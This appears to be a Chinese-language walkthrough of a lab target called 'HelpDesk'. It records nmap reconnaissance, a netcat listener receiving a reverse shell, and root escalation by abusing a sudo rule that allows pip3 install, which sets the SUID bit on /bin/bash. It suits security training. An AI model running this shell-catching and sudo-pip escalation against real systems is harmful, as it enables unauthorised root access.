┌──(root㉿kali)-[~] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-23 22:53 CST Nmap scan report for 192.168.2.1 Host is up (0.00095s latency). MAC Address: 0A:00:27:00:00:0A (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00094s latency). MAC Address: 08:00:27:5B:85:1F (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.72 Host is up (0.0018s latency). MAC Address: 08:00:27:E5:04:39 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.01 seconds
靶机IP:192.168.2.72
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~] └─# nmap --min-rate 10000 -p- 192.168.2.72 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-23 22:53 CST Nmap scan report for 192.168.2.72 Host is up (0.00043s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:E5:04:39 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 26.70 seconds
┌──(root㉿kali)-[~] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.72 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-23 22:54 CST Nmap scan report for 192.168.2.72 Host is up (0.00076s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 b4:bc:42:f6:d0:a7:0d:fd:71:01:3d:8a:c5:0c:ac:e3 (ECDSA) |_ 256 71:90:08:58:14:04:09:d5:cf:31:ee:87:17:ad:29:8f (ED25519) 80/tcp open http Apache httpd |_http-title: HelpDesk Ticket System |_http-server-header: Apache MAC Address: 08:00:27:E5:04:39 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.86 seconds
22端口:ssh服务,版本为OpenSSH 9.6p1
80端口:http服务,版本为Apache httpd,网站标题HelpDesk Ticket System
3.udp扫描
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[~] └─# nmap -sU --top-ports 100 192.168.2.72 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-23 22:55 CST Nmap scan report for 192.168.2.72 Host is up (0.00072s latency). Not shown: 99 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:E5:04:39 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 109.07 seconds
┌──(root㉿kali)-[~] └─# nmap --script=vuln -p22,80 192.168.2.72 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-23 22:57 CST Nmap scan report for 192.168.2.72 Host is up (0.00077s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-cookie-flags: | /login.php: | PHPSESSID: |_ httponly flag not set |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. | http-enum: | /login.php: Possible admin folder |_ /helpdesk/: Potentially interesting folder w/ directory listing MAC Address: 08:00:27:E5:04:39 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 31.36 seconds
┌──(root㉿kali)-[~] └─# nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.2.4] from (UNKNOWN) [192.168.2.72] 46062 bash: cannot set terminal process group (700): Inappropriate ioctl for device bash: no job control in this shell helpdesk@helpdesk:/$ id id uid=1001(helpdesk) gid=1001(helpdesk) groups=1001(helpdesk)
2、获取root权限
使用 sudo -l 查看 helpdesk 用户的sudo权限
1 2 3 4 5 6 7 8 9
helpdesk@helpdesk:/$ sudo -l sudo -l Matching Defaults entries for helpdesk on helpdesk: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User helpdesk may run the following commands on helpdesk: (ALL) NOPASSWD: /usr/bin/pip3 install --break-system-packages *
helpdesk@helpdesk:~/1$ ls -la /bin/bash ls -la /bin/bash -rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
使用 sudo 执行 pip3 install 来安装当前目录
1 2 3 4 5 6 7 8
helpdesk@helpdesk:~/1$ sudo /usr/bin/pip3 install --break-system-packages . Processing /home/helpdesk/1 Preparing metadata (setup.py): started Preparing metadata (setup.py): finished with status 'done' ERROR: No .egg-info directory found in /tmp/pip-pip-egg-info-6_8hwue4
helpdesk@helpdesk:~/1$ ls -la /bin/bash -rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash